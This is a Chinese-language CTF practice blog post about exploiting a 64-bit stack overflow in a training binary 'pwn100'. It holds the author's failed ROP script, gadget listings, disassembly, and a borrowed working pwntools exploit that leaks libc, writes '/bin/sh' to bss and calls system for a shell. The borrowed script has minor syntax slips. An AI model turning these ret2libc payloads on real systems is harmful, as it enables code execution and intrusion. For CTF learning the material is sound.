pwn暑假训练(八) pwn100

今天做一道64位的栈溢出emem
很难感觉自己写的是对的但找不到libc文件…我都泄露出read的地址是0x7fccec83a250了还是无法找https://libc.blukat.me/打不开用LibcSearcher也找不到
我真的是很烦

from pwn import *
from LibcSearcher import *
p=process('')
elf=ELF('./pwn100')
offset=64
pop_rdi=0x0400763
main_addr=0x400550
payload1='a'*offset
payload1+='a'*8
payload1+=p64(pop_rdi)
payload1+=p64(elf.got['read'])
payload1+=p64(elf.plt['puts'])
payload1+=p64(main_addr)
payload1=payload1.ljust(200)
#gdb.attach(p,'')
p.sendline(payload1)

read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(read_addr)
#libc=LibcSearcher('_read',0x7f12f1505250)
libcbase=0x7f4e6c559bb0
system_addr=0x7f4e6c5a0140
bin_sh=0x7f4e6c6d6473



payload2='a'*offset
payload2+='a'*8
payload2+=p64(pop_rdi)
payload2+=p64(bin_sh)
payload2+=p64(system_addr)
payload2+=p64(0xdeadbeef)
payload2=payload2.ljust(200)
p.sendline(payload2)


p.interactive()

emem这是我第一次写的
然后打不通只有换了
这道题没有system,bin/sh所以想到是泄露libc然后我们去找到system的地址
还得用到

text:0000000000400740 loc_400740:                             ; CODE XREF: init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    qword ptr [r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: init+36↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn

这2个gadget维持栈的平衡,思路是用put函数泄露system的地址然后用上面的gadget写入/bin/sh到bss段然后就可以构造payload了

0x000000000040075c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400760 : pop r14 ; pop r15 ; ret
0x0000000000400762 : pop r15 ; ret
0x000000000040075b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400763 : pop rdi ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret
0x000000000040075d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148

有这个0x0000000000400763 : pop rdi ; ret
通过vmmap可知0x601000-0x602000可读/写
所以大佬的exp:

#!/usr/bin/python
#coding:utf-8
 
from pwn import*
 
 
start_addr=0x400550
pop_rdi=0x400763
gadget1=0x40075a
gadget2=0x400740
binsh_addr=0x60107c
 
 
 
 
io=process('./pwn100')
elf=ELF("./pwn100")
 
puts_addr = elf.plt['puts']
read_got = elf.got['read']
 #这里是泄露libc得到system的地址
def leak(addr):
	count=0
	up=''
	content=''
	payload='a'*72
	payload+=p64(pop_rdi)
	payload+=p64(addr)
    payload += p64(puts_addr)
	payload+=p64(start_addr)
	payload=payload.ljust(200,'a')
	io.send(payload)
	io.recvuntil("bye~\n")
	while True:
		c=io.recv(numb=1,timeout=0.1)
		count+=1
 
		if up == '\n' and c == "": 
			content=content[:-1]+'\x00'
			break				
		else:
			content+=c
			up=c
	content=content[:4]
        log.info("%#x => %s" % (addr, (content or '').encode('hex')))
	return content
 
 
 
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)
 这里是在程序中写入 /bin/sh
payload='a'*72
payload+=p64(gadget1)
payload+=p64(0)      #rbx=0
payload+=p64(1)      #rbp=1  call 
payload+=p64(read_got)	# read
payload+=p64(8)		#read size
payload+=p64(binsh_addr)	
payload+=p64(0)		#r15 read canshu
payload+=p64(gadget2)
payload+='\x00'*56   #这里的56代表的是前面的6个pop填充为NOP
payload+=p64(start_addr)
payload=payload.ljust(200,'a')
 
io.send(payload)
io.recvuntil('bye~\n')
io.send('/bin/sh\x00')
 
# 这里就构造了system('bin/sh")
payload = "A"*72				
payload += p64(pop_rdi)	#system("/bin/sh\x00")	
payload += p64(binsh_addr)		
payload += p64(system_addr)		
payload = payload.ljust(200, "B")	#这是必须填充到200不然程序不会进行下一步操作
 
io.send(payload)
io.interactive()

pwn好难

你可能感兴趣的:(学习)